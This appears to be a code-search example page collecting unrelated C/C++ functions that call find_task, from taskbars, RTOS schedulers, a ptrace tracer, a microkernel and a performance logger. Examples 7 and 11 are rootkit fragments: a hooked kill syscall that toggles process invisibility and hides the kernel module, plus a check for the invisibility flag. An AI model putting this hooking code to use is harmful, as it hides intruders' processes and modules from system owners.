Ejemplo n.º 1
0
double MergeAllParents::totalExecCost(std::pair<ParentsIterator,ParentsIterator> pair,
              VertexID parent)
{
  double cost=0.0;
  ContainSet allNodes;
  ParentsIterator p,p_end;

  for(tie(p,p_end) = pair; p != p_end; p++) {
    ContainSetMap::iterator set;
    if (*p != m_invartask && *p != m_outvartask) {
      set = m_containTasks->find(*p);
      if (set != m_containTasks->end()) {
  allNodes.make_union((*set).second);
      }
      allNodes.insert(getTaskID(*p,m_taskgraph));
    }
  }

  ContainSet::iterator it;
  for (it = allNodes.begin(); it !=allNodes.end(); it++) {
    cost +=getExecCost(find_task(*it,(TaskGraph*)m_taskgraph));
  }
  cost+= getExecCost(parent);
  return cost;
}
Ejemplo n.º 2
0
static int set_state_letter(int argc, char *argv[])
{
	/* 
	 * [0]   [1]       [2]    [3]       [4]
	 * y3act set-state <file> <part-id> <state letter> 
	 */
	
	if (!(strcmp(".", argv[4]) == 0 || strcmp(">", argv[4]) == 0 || strcmp("$", argv[4]) == 0)) {
		fprintf(stderr, "ERROR: Invalid state letter: '%s'\n", argv[4]);
		display_state_letter();
		return 1;
	}

	struct task tasks;
	INIT_LIST_HEAD(&tasks.list);
	if (file_read(&tasks, argv[2]) == -1)
		return 1;

	struct task *t;
	int ret	= find_task(&tasks, &t, argv[3], strlen(argv[3]));
	if (1 != ret) {
		free_tasks(&tasks);
		return 1;
	}
	strcpy(t->state, argv[4]);
	ret = file_new(&tasks, argv[2]); 
	free_tasks(&tasks);
	return ret;
}
Ejemplo n.º 3
0
Archivo: icons.c Proyecto: g7/fbpanel
static void
ics_propertynotify(icons_priv *ics, XEvent *ev)
{
    Atom at;
    Window win;

    
    ENTER;
    win = ev->xproperty.window;
    at = ev->xproperty.atom;
    DBG("win=%lx at=%ld\n", win, at);
    if (win != GDK_ROOT_WINDOW())
    {
	task *tk = find_task(ics, win);

        if (!tk) 
            RET();
        if (at == XA_WM_CLASS)
        {
            get_wmclass(tk);
            set_icon_maybe(ics, tk);
        }
        else if (at == XA_WM_HINTS)
        {
            set_icon_maybe(ics, tk);
        }  
    }
    RET();
}
Ejemplo n.º 4
0
void down_http_file::add_task(const down_task& task)
{	
	if(find_task(task))
	{    
		return ;
	}
	int n_path=task.s_local_file_down.ReverseFind(_T('\\'));
	if (n_path < 0)			//非有效目录
	{
		n_path=task.s_local_file_down.ReverseFind(_T('/'));
	}
	if (n_path < 0)
	{
		return;
	}
	CString cs_path = task.s_local_file_down.Left(n_path);		//task.s_local_file.Left(n_path+1);//修改于2009-6-11
	static const int DRIVER_ROOT_LENGTH = 2;			//sample "d:"
	if (cs_path.GetLength() == DRIVER_ROOT_LENGTH)
		cs_path += _T("\\");
	if (!mci::is_directory(cs_path))
	{
		em_utility::mci::confirm_dir(cs_path,_T('/'));
	}

	m_lock.lock();
	m_down_list.push_back(task);
	m_lock.unlock();

	m_task_signal.set_signal();
}
Ejemplo n.º 5
0
int kill_task (int tid) 
{
	struct tsk * p = (struct tsk  *) find_task (tid);
	if (!p)
		return -1;
	task_exit (p);
	return 0;
}
Ejemplo n.º 6
0
int  post_event  (int tid, int event)
{
	struct tsk * p = (struct tsk  *) find_task (tid);
	if (!p)
		return -1;
	p->event |= event;
	wakeup_task (p);
	return 0;
}
Ejemplo n.º 7
0
int
is_invisible(pid_t pid)
{
	struct task_struct *task;
	if (!pid)
		return 0;
	task = find_task(pid);
	if (!task)
		return 0;
	if (task->flags & PF_INVISIBLE)
		return 1;
	return 0;
}
Ejemplo n.º 8
0
//执行任务
rt_bool_t excute_task(const char *name)
{
    fc_task *t = find_task(name);
    if (t == RT_NULL)
        return RT_FALSE;

    if (check_safe(t->depend))
    {
        rt_kprintf("start task %s fail %d.\n", t->name, check_safe(t->depend));
        return RT_FALSE;
    }
        current_task = t;
        current_task->reset = RT_TRUE;
        rt_kprintf("start task %s.\n", t->name);
        return RT_TRUE;
}
Ejemplo n.º 9
0
void
taskbar_read_clientlist (void)
{
	Window *win, focus_win;
	int num, i, rev, desk, new_desk = 0;
	task *list, *next;

	desk = get_current_desktop ();
	if (desk != tb.my_desktop)
	{
		new_desk = 1;
		tb.my_desktop = desk;
	}

	XGetInputFocus (dd, &focus_win, &rev);

	win = get_prop_data (root_win, atom__NET_CLIENT_LIST, XA_WINDOW, &num);
	if (!win)
		return;

	/* remove windows that arn't in the _NET_CLIENT_LIST anymore */
	list = tb.task_list;
	while (list)
	{
		list->focused = (focus_win == list->win);
		next = list->next;

		if (!new_desk)
			for (i = num - 1; i >= 0; i--)
				if (list->win == win[i])
					goto dontdel;
		del_task (list->win);
dontdel:

		list = next;
	}

	/* add any new windows */
	for (i = 0; i < num; i++)
	{
		if (!find_task (win[i]))
			add_task (win[i], (win[i] == focus_win));
	}

	XFree (win);
}
Ejemplo n.º 10
0
void
handle_propertynotify (Window win, Atom at)
{
	task *tk;

	if (win == root_win)
	{
		if (at == atom__NET_CLIENT_LIST || at == atom__NET_CURRENT_DESKTOP)
		{
			taskbar_read_clientlist ();
			gui_draw_taskbar ();
		}
		return;
	}

	tk = find_task (win);
	if (!tk)
		return;

	if (at == XA_WM_NAME)
	{
		/* window's title changed */
		if (tk->name)
			XFree (tk->name);
		tk->name = get_prop_data (tk->win, XA_WM_NAME, XA_STRING, 0);
		gui_draw_task (tk);
	} else if (at == atom_WM_STATE)
	{
		/* iconified state changed? */
		if (is_iconified (tk->win) != tk->iconified)
		{
			tk->iconified = !tk->iconified;
			gui_draw_task (tk);
		}
	} else if (at == XA_WM_HINTS)
	{
		/* some windows set their WM_HINTS icon after mapping */
		if (tk->icon == generic_icon)
		{
			get_task_hinticon (tk);
			gui_draw_task (tk);
		}
	}
}
Ejemplo n.º 11
0
asmlinkage int
hacked_kill(pid_t pid, int sig)
{
	struct task_struct *task;

	switch (sig) {
		case SIGINVIS:
			if ((task = find_task(pid)) == NULL)
				return -ESRCH;
			task->flags ^= PF_INVISIBLE;
			break;
		case SIGMODINVIS:
			if (module_hidden) module_show();
			else module_hide();
			break;
		default:
			return orig_kill(pid, sig);
	}
	return 0;
}
Ejemplo n.º 12
0
void remote_thread_entry(void* parameter)
{
	char * ptr;
	u8 lost=0;
	rt_tick_t last=rt_tick_get();
	while(1)
	{
		ptr=pack.buf;
		
		get(ptr++);
		if(pack.buf[0]!=(head&0xFF))
			goto wrong;
		
		get(ptr++);
		if(pack.head.head!=head)
			goto wrong;
		
		while(ptr-pack.buf<sizeof(struct tfcr_common))
			get(ptr++);
		
		if(!TFCR_IS_PACK_TYPE(pack.head.type))
			goto wrong;
		//rt_kprintf("head ok %d\n",sizeof(struct tfcr_common));
			
		switch(pack.head.type)
		{
			case TFCR_TYPE_PING:
				while(ptr-pack.buf<sizeof(struct tfcr_ping))
					get(ptr++);
				
				if(checksum(pack.buf,sizeof(struct tfcr_ping)-1)!=pack.ping.checksum)
					goto wrong;
				
				send_ack(pack.ping.index);
				debug("ping %05d\n",pack.ping.index);
				
				if(!tfrc_con)
					rt_kprintf("tfcr connected.\n");
				
				tfrc_con=RT_TRUE;
				break;
			case TFCR_TYPE_TASK:
				while(ptr-pack.buf<sizeof(struct tfcr_task))
					get(ptr++);
				
				if(checksum(pack.buf,sizeof(struct tfcr_task)-1)!=pack.task.checksum)
					goto wrong;
				
				if(rt_strcasecmp(pack.task.name,"mayday")==0)
				{
					excute_task("mayday");
					disarm();
					send_ack(pack.task.index);
					break;
				}
				
				if(pack.task.state==1)
				{
					fc_task * task=find_task(pack.task.name);
					
					if(task==RT_NULL)
					{
						send_error(pack.task.index,0xff);
						rt_kprintf("no task %s!\n",pack.task.name);
						break;
					}
					
					u8 result= check_safe(task->depend);
					if(result!=0)
					{
						send_error(pack.task.index,result);
						break;
					}
					
					if(!excute_task(pack.task.name))
					{
						send_error(pack.task.index,0xff);
						break;
					}
					arm(task->depend);
					send_ack(pack.task.index);
				}
				else
				{
					excute_task("wait");
					send_ack(pack.task.index);
					rt_kprintf("stop task %s.\n",pack.task.name);
				}
				break;
			case TFCR_TYPE_GET_VALUE:
				while(ptr-pack.buf<sizeof(struct tfcr_get_value))
					get(ptr++);
				
				if(checksum(pack.buf,sizeof(struct tfcr_get_value)-1)!=pack.get.checksum)
					goto wrong;
				
				send_value(pack.get.index,pack.get.id);
				
				break;
		}
		
		last=rt_tick_get();
		lost=0;
		continue;
		
		timeout:
		if(tfrc_con)
		{
			if(lost<3)
			{
				rt_kprintf("tfcr time out.\n");
				lost++;
			}
			else
			{
				rt_kprintf("tfcr lost connect.\n");
				tfrc_con=RT_FALSE;
			}
		}
		continue;
		
		wrong:
		rt_kprintf("wrong\n");
		if(rt_tick_get()-RT_TICK_PER_SECOND/2>last)
		{
			rt_tick_t last=rt_tick_get();
			goto timeout;
		}
	}
}
Ejemplo n.º 13
0
// Start tracing of created or attached process.
static trace_result_t start(void) 
{
	int status;
	int pid;
	int signo;

	// wait on all child processes.
	while((pid = waitpid(-1, &status, 0)) != -1) {

		signo = 0;
		struct ftrace_task* task = find_task(pid);

		// Precondition: stopped task is known.
		FTRACE_ASSERT(task != NULL);

		// task exited, need to remove it from trace list.
		if(WIFEXITED(status) || WIFSIGNALED(status)) {

			FTRACE_LOG("task %d terminated\n", pid);
			remove_task(task);
		
		// task is stopped
		} else if(WIFSTOPPED(status)) {
		
			signo = WSTOPSIG(status);
		
			// SIGSTOP/SIGTRAP is our cue.
			if((signo == SIGTRAP) || (signo == SIGSTOP)) {

				// We stop process in case of cloning/forking and when it is entering/exiting syscalls.
				// To deffirentiate we use ptrace event code in process status. 
				switch(FTRACE_EVENT(status)) {
				case PTRACE_EVENT_FORK: 	/* fallthru */
				case PTRACE_EVENT_VFORK:	/* fallthru */
				case PTRACE_EVENT_CLONE: {
					// task cloned/forked - add another pid context.
					int new_pid;
					ptrace(PTRACE_GETEVENTMSG, task->pid, NULL, &new_pid);
					add_task(new_pid);
					FTRACE_LOG("task %d cloned, new pid is %d\n", task->pid, new_pid);
					break;
				}
				
				case 0: {
					// syscall trap
					trace_task(task);
				}

				default: break;
				};
			}

		} else {
			FTRACE_LOG("Unknown task %d status\n", pid);
		}

		ptrace(PTRACE_SYSCALL, pid, NULL, NULL);
	}

	// stop tracing.
	return FTRACE_SUCCESS;
}
Ejemplo n.º 14
0
int init_execve(char *filepath)
{
    struct vm_file *vmfile;
    struct exec_file_desc efd;
    struct tcb *new_task, *self;
    struct args_struct args, env;
    char env_string[30];
    int err;
    int fd;

    struct task_ids ids = {
        .tid = TASK_ID_INVALID,
        .spid = TASK_ID_INVALID,
        .tgid = TASK_ID_INVALID,
    };

    sprintf(env_string, "pagerid=%d", self_tid());

    /* Set up args_struct */
    args.argc = 1;
    args.argv = alloca(sizeof(args.argv));
    args.argv[0] = alloca(strlen(filepath) + 1);
    strncpy(args.argv[0], filepath, strlen(filepath) + 1);
    args.size = sizeof(args.argv) * args.argc + strlen(filepath) + 1;

    /* Set up environment */
    env.argc = 1;
    env.argv = alloca(sizeof(env.argv));
    env.argv[0] = alloca(strlen(env_string) + 1);
    strncpy(env.argv[0], env_string, strlen(env_string) + 1);
    env.size = sizeof(env.argv) + strlen(env_string) + 1;

    self = find_task(self_tid());
    if ((fd = sys_open(self, filepath,
                       O_RDONLY, 0)) < 0) {
        printf("FATAL: Could not open file "
               "to write initial task.\n");
        BUG();
    }
    /* Get the low-level vmfile */
    vmfile = self->files->fd[fd].vmfile;

    if (IS_ERR(new_task = task_create(0, &ids,
                                      TCB_NO_SHARING,
                                      TC_NEW_SPACE))) {
        sys_close(self, fd);
        return (int)new_task;
    }

    /*
     * Fill and validate tcb memory
     * segment markers from executable file
     */
    if ((err = task_setup_from_executable(vmfile,
                                          new_task,
                                          &efd)) < 0) {
        sys_close(self, fd);
        kfree(new_task);
        return err;
    }

    /* Map task's new segment markers as virtual memory regions */
    if ((err = task_mmap_segments(new_task, vmfile,
                                  &efd, &args, &env)) < 0) {
        sys_close(self, fd);
        kfree(new_task);
        return err;
    }

    /* Set up task registers via exchange_registers() */
    task_setup_registers(new_task, 0,
                         new_task->args_start,
                         new_task->pagerid);


    /* Add new task to global list */
    global_add_task(new_task);

    /* Start the task */
    task_start(new_task);

    return 0;
}
Ejemplo n.º 15
0
int do_execve(struct tcb *sender, char *filename,
              struct args_struct *args,
              struct args_struct *env)
{
    struct vm_file *vmfile;
    struct exec_file_desc efd;
    struct tcb *new_task, *tgleader, *self;
    int err;
    int fd;

    self = find_task(self_tid());
    if ((fd = sys_open(self, filename, O_RDONLY, 0)) < 0)
        return fd;

    /* Get the low-level vmfile */
    vmfile = self->files->fd[fd].vmfile;

    /* Create a new tcb */
    if (IS_ERR(new_task = tcb_alloc_init(TCB_NO_SHARING))) {
        sys_close(self, fd);
        return (int)new_task;
    }

    /*
     * Fill and validate tcb memory
     * segment markers from executable file
     */
    if ((err = task_setup_from_executable(vmfile,
                                          new_task,
                                          &efd)) < 0) {
        sys_close(self, fd);
        kfree(new_task);
        return err;
    }

    /*
     * If sender is a thread in a group, need to find the
     * group leader and destroy all threaded children in
     * the group.
     */
    if (sender->clone_flags & TCB_SHARED_TGROUP) {
        struct tcb *thread;

        /* Find the thread group leader of sender */
        BUG_ON(!(tgleader = find_task(sender->tgid)));

        /* Destroy all children threads. */
        list_foreach_struct(thread,
                            &tgleader->children,
                            child_ref)
        do_exit(thread, 0);
    } else {
        /* Otherwise group leader is same as sender */
        tgleader = sender;
    }

    /*
     * Copy data to be retained from exec'ing task to new one.
     * Release all task resources, do everything done in
     * exit() except destroying the actual thread.
     */
    if ((err = execve_recycle_task(new_task, tgleader)) < 0) {
        sys_close(self, fd);
        kfree(new_task);
        return err;
    }

    /* Map task's new segment markers as virtual memory regions */
    if ((err = task_mmap_segments(new_task, vmfile,
                                  &efd, args, env)) < 0) {
        sys_close(self, fd);
        kfree(new_task);
        return err;
    }

    /* Set up task registers via exchange_registers() */
    task_setup_registers(new_task, 0,
                         new_task->args_start,
                         new_task->pagerid);

    /* Add new task to global list */
    global_add_task(new_task);

    /* Start the task */
    task_start(new_task);

    return 0;
}
Ejemplo n.º 16
0
struct __TASK_STATE*
current_task()
{
	return (find_task(current));
}
Ejemplo n.º 17
0
static int mycdev_ioctl(struct file *file, unsigned int cmd, unsigned long arg)
{
    int ret = 0;
    struct page *slab_page;
    void __user *argp = (void __user *)arg;
    struct socket *socket;
    struct page *first_page;

    int counter;
    printk("cmd = %u, arg = %lu\n", cmd, arg);
    
    /*
     * ATTACH_TASK: 关联到某进程上
     * DUMP_OBJECT: 把对象dump出来
     * MMAP_KPAGES: 映射页面到用户空间
     * DUMP_STACK : Copy 进程的内核栈到用户空间
     */
    switch(cmd) {
        case ATTACH_TASK:
            printk("attaching task pid:%d\n",arg);
            target = find_task( (pid_t) arg);
            if (!target) {
                printk("do not find task\n");
                ret = -1;
                break;
            }
           list_task_objects(target); 
            
        break;
        case DUMP_OBJECT:
            if (!target) {
                printk("do not attach task now !\n");
                ret = -1;
                break;
            }
            printk("listing object %s\n", target->comm);
            socket = get_one_socket_object(target);
            printk("socket object size: %d\n", sizeof(struct socket));
            if (socket) {
                printk("%p\t", socket);
                slab_page = virt_to_page(socket);
                if (slab_page) {
                    printk("get a slab page, slab head: %p, %p\n", slab_page->first_page, slab_page->slab_cache);
                    //first_page = virt_to_page(&slab_page->first_page);
                    first_page = slab_page->first_page;
                    printk("first_page:%p\n", first_page);
                    printk("s_mem:%p\n", first_page->s_mem);
                    printk("freelist:%p\n", first_page->freelist);
                    printk("counters:%d\n", first_page->counters);
                    printk("inuse:%d, object:%d, frozen:%d\n", first_page->inuse, first_page->objects, first_page->frozen);
                    printk("next page:%p\n", first_page->next);
                    printk("slab_page:%p\n", first_page->slab_page);

                }
                //printk("sock_inode_cachep:%p\n", sock_inode_cachep);
                //copy_to_user(argp, &slab_page->first_page, 4);
                copy_to_user(argp, socket, sizeof(struct socket));
                printk("socket->state:  %d\n", socket->state);
                printk("socket->type:   %d\n", socket->type);
                printk("socket->flags:  %ld\n", socket->flags);
                printk("socket->wq:     %p\n", socket->wq);
                printk("socket->file:   %p\n", socket->file);
                printk("socket->sk:     %p\n", socket->sk);
                printk("socket->ops:    %p\n", socket->ops);
            }
            analysis_socket(socket);
            ret = 0;
            
        break;
        case MMAP_KPAGES:
            printk("here\n");
        break;
        case DUMP_STACK:
        break;
        case COUNT_OBJECT:
            if (!target) {
                printk("do not attach task now\n");
                ret = -1;
                break;
            }
            counter = count_task_socket_objects(target);
            printk("counter %d\n", counter);
            copy_to_user(argp, &counter, 1);
            ret = 0;
        
        break;
        defult:
        break;
    }

    return ret;
}
Ejemplo n.º 18
0
Archivo: dopdu.c Proyecto: aeppert/pcp
static int
do_control(__pmPDU *pb)
{
    int			sts;
    int			control;
    int			state;
    int			delta;
    pmResult		*request;
    pmResult		*result;
    int			siamised = 0;	/* the verb from siamese (as in twins) */
    int			i;
    int			j;
    int			val;
    pmValueSet		*vsp;
    optreq_t		*rqp;
    task_t		*tp;
    time_t		now;
    int			reqstate = 0;

    /*
     * TODO	- encoding for logging interval in requests and results?
     */
    if ((sts = __pmDecodeLogControl(pb, &request, &control, &state, &delta)) < 0)
	return sts;

#ifdef PCP_DEBUG
    if (pmDebug & DBG_TRACE_LOG) {
	fprintf(stderr, "do_control: control=%d state=%d delta=%d request ...\n",
		control, state, delta);
	dumpcontrol(stderr, request, 0);
    }
#endif

    if (control == PM_LOG_MANDATORY || control == PM_LOG_ADVISORY) {
	time(&now);
	fprintf(stderr, "\n%s", ctime(&now));
	fprintf(stderr, "pmlc request from %s: %s",
	    pmlc_host, control == PM_LOG_MANDATORY ? "mandatory" : "advisory");
	if (state == PM_LOG_ON) {
	    if (delta == 0)
		fprintf(stderr, " on once\n");
	    else
		fprintf(stderr, " on %.1f sec\n", (float)delta/1000);
	}
	else if (state == PM_LOG_OFF)
	    fprintf(stderr, " off\n");
	else
	    fprintf(stderr, " maybe\n");
    }

    /*
     * access control checks
     */
    sts = 0;
    switch (control) {
	case PM_LOG_MANDATORY:
	    if (denyops & PM_OP_LOG_MAND)
		sts = PM_ERR_PERMISSION;
	    break;

	case PM_LOG_ADVISORY:
	    if (denyops & PM_OP_LOG_ADV)
		sts = PM_ERR_PERMISSION;
	    break;

	case PM_LOG_ENQUIRE:
	    /*
	     * Don't need to check [access] as you have to have _some_
	     * permission (at least one of PM_OP_LOG_ADV or PM_OP_LOG_MAND
	     * and PM_OP_LOG_ENQ) to make a connection ... and if you
	     * have either PM_OP_LOG_ADV or PM_OP_LOG_MAND it makes no
	     * sense to deny PM_OP_LOG_ENQ operations.
	     */
	    break;

	default:
	    fprintf(stderr, "Bad control PDU type %d\n", control);
	    sts = PM_ERR_IPC;
	    break;
    }
    if (sts < 0) {
	fprintf(stderr, "Error: %s\n", pmErrStr(sts));
	if ((sts = __pmSendError(clientfd, FROM_ANON, sts)) < 0)
	    __pmNotifyErr(LOG_ERR,
			 "do_control: error sending Error PDU to client: %s\n",
			 pmErrStr(sts));
	pmFreeResult(request);
	return sts;
    }

    /* handle everything except PM_LOG_ENQUIRE */
    if (control == PM_LOG_MANDATORY || control == PM_LOG_ADVISORY) {
	/* update the logging status of metrics */

	task_t		*newtp = NULL; /* task for metrics/insts in request */
	struct timeval	tdelta = { 0 };
	int		newtask;
	int		mflags;

	/* convert state and control to the bitmask used in pmlogger and values
	 * returned in results.  Remember that reqstate starts with nothing on.
	 */
	if (state == PM_LOG_ON)
	    PMLC_SET_ON(reqstate, 1);
	else
	    PMLC_SET_ON(reqstate, 0);
	if (control == PM_LOG_MANDATORY) {
	    if (state == PM_LOG_MAYBE)
		/* mandatory+maybe => maybe+advisory+off  */
		PMLC_SET_MAYBE(reqstate, 1);
	    else
		PMLC_SET_MAND(reqstate, 1);
	}

	/* try to find an existing task for the request
	 * Never return a "once only" task, it may have gone off already and just
	 * be hanging around like a bad smell.
	 */
	if (delta != 0) {
	    tdelta.tv_sec = delta / 1000;
	    tdelta.tv_usec = (delta % 1000) * 1000;
	    newtp = find_task(reqstate, &tdelta);
	}
	newtask = (newtp == NULL);

	for (i = 0; i < request->numpmid; i++) {
	    vsp = request->vset[i];
	    if (vsp->numval < 0)
		/*
		 * request is malformed, as we cannot control logging
		 * for an undefined instance ... there is no way to
		 * return an error from here, so simply ignore this
		 * metric
		 */
		continue;
	    mflags = find_metric(vsp->pmid);
	    if (mflags < 0) {
		/* only add new metrics if they are ON or MANDATORY OFF
		 * Careful: mandatory+maybe is mandatory+maybe+off
		 */
		if (PMLC_GET_ON(reqstate) ||
		    (PMLC_GET_MAND(reqstate) && !PMLC_GET_MAYBE(reqstate)))
		    add_metric(vsp, &newtp);
	    }
	    else
		/* already a specification for this metric */
		update_metric(vsp, reqstate, mflags, &newtp);
	}

	/* schedule new logging task if new metric(s) specified */
	if (newtask && newtp != NULL) {
	    if (newtp->t_fetch == NULL) {
		/* the new task ended up with no fetch groups, throw it away */
		if (newtp->t_pmidlist != NULL)
		    free(newtp->t_pmidlist);
		free(newtp);
	    }
	    else {
		/* link new task into tasklist */
		newtp->t_next = tasklist;
		tasklist = newtp;

		/* use only the MAND/ADV and ON/OFF bits of reqstate */
		newtp->t_state = PMLC_GET_STATE(reqstate);
		if (PMLC_GET_ON(reqstate)) {
		    newtp->t_delta = tdelta;
		    newtp->t_afid = __pmAFregister(&tdelta, (void *)newtp,
					       log_callback);
		}
		else
		    newtp->t_delta.tv_sec = newtp->t_delta.tv_usec = 0;
		linkback(newtp);
	    }
	}
    }

#ifdef PCP_DEBUG
    if (pmDebug & DBG_TRACE_APPL0)
	dumpit();
#endif

    /* just ignore advisory+maybe---the returned pmResult will have the metrics
     * in their original state indicating that the request could not be
     * satisfied.
     */

    result = request;
    result->timestamp.tv_sec = result->timestamp.tv_usec = 0;	/* for purify */
    /* write the current state of affairs into the result _pmResult */
    for (i = 0; i < request->numpmid; i++) {

	if (control == PM_LOG_MANDATORY || control == PM_LOG_ADVISORY) {
	    char	**names;

	    sts = pmNameAll(request->vset[i]->pmid, &names);
	    if (sts < 0)
		fprintf(stderr, "  metric: %s", pmIDStr(request->vset[i]->pmid));
	    else {
		fprintf(stderr, "  metric: ");
		__pmPrintMetricNames(stderr, sts, names, " or ");
		free(names);
	    }
	}

	if (request->vset[i]->numval <= 0 && !siamised) {
	    result = siamise_request(request);
	    siamised = 1;
	}
	/*
	 * pmids with numval <= 0 in the request have a null vset ptr in the
	 * in the corresponding place in the siamised result.
	 */
	if (result->vset[i] != NULL)
	    vsp = result->vset[i];
	else {
	    /* the result should also contain the history for an all instances
	     * enquire request.  Control requests just get the current indom
	     * since the user of pmlc really wants to see what's being logged
	     * now rather than in the past.
	     */
	    vsp = build_vset(request->vset[i]->pmid, control == PM_LOG_ENQUIRE);
	    result->vset[i] = vsp;
	}
	vsp->valfmt = PM_VAL_INSITU;
	for (j = 0; j < vsp->numval; j++) {
	    rqp = findoptreq(vsp->pmid, vsp->vlist[j].inst);
	    val = 0;
	    if (rqp == NULL) {
		PMLC_SET_STATE(val, 0);
		PMLC_SET_DELTA(val, 0);
	    }
	    else {
		tp = rqp->r_fetch->f_aux;
		PMLC_SET_STATE(val, tp->t_state);
		PMLC_SET_DELTA(val, (tp->t_delta.tv_sec*1000 + tp->t_delta.tv_usec/1000));
	    }

	    val |= gethistflags(vsp->pmid, vsp->vlist[j].inst);
	    vsp->vlist[j].value.lval = val;

	    if (control == PM_LOG_MANDATORY || control == PM_LOG_ADVISORY) {
		int	expstate = 0;
		int	statemask = 0;
		int	expdelta;
		if (rqp != NULL && rqp->r_desc->indom != PM_INDOM_NULL) {
		    char	*p;
		    if (j == 0)
			fputc('\n', stderr);
		    if (pmNameInDom(rqp->r_desc->indom, vsp->vlist[j].inst, &p) >= 0) {
			fprintf(stderr, "    instance: %s", p);
			free(p);
		    }
		    else
			fprintf(stderr, "    instance: #%d", vsp->vlist[j].inst);
		}
		else {
		    /* no pmDesc ... punt */
		    if (vsp->numval > 1 || vsp->vlist[j].inst != PM_IN_NULL) {
			if (j == 0)
			    fputc('\n', stderr);
			fprintf(stderr, "    instance: #%d", vsp->vlist[j].inst);
		    }
		}
		if (state != PM_LOG_MAYBE) {
		    if (control == PM_LOG_MANDATORY)
			PMLC_SET_MAND(expstate, 1);
		    else
			PMLC_SET_MAND(expstate, 0);
		    if (state == PM_LOG_ON)
			PMLC_SET_ON(expstate, 1);
		    else
			PMLC_SET_ON(expstate, 0);
		    PMLC_SET_MAND(statemask, 1);
		    PMLC_SET_ON(statemask, 1);
		}
		else {
		    PMLC_SET_MAND(expstate, 0);
		    PMLC_SET_MAND(statemask, 1);
		}
		expdelta = PMLC_GET_ON(expstate) ? delta : 0;
		if ((PMLC_GET_STATE(val) & statemask) != expstate ||
		    PMLC_GET_DELTA(val) != expdelta)
			fprintf(stderr, " [request failed]");
		fputc('\n', stderr);
	    }
	}
    }

#ifdef PCP_DEBUG
    if (pmDebug & DBG_TRACE_LOG) {
	__pmDumpResult(stderr, result);
    }
#endif

    if ((sts = __pmSendResult(clientfd, FROM_ANON, result)) < 0)
		__pmNotifyErr(LOG_ERR,
			     "do_control: error sending Error PDU to client: %s\n",
			     pmErrStr(sts));

    if (siamised) {
	for (i = 0; i < request->numpmid; i++)
	    if (request->vset[i]->numval <= 0)
		free(result->vset[i]);
	free(result);
    }
    pmFreeResult(request);

    return 0;
}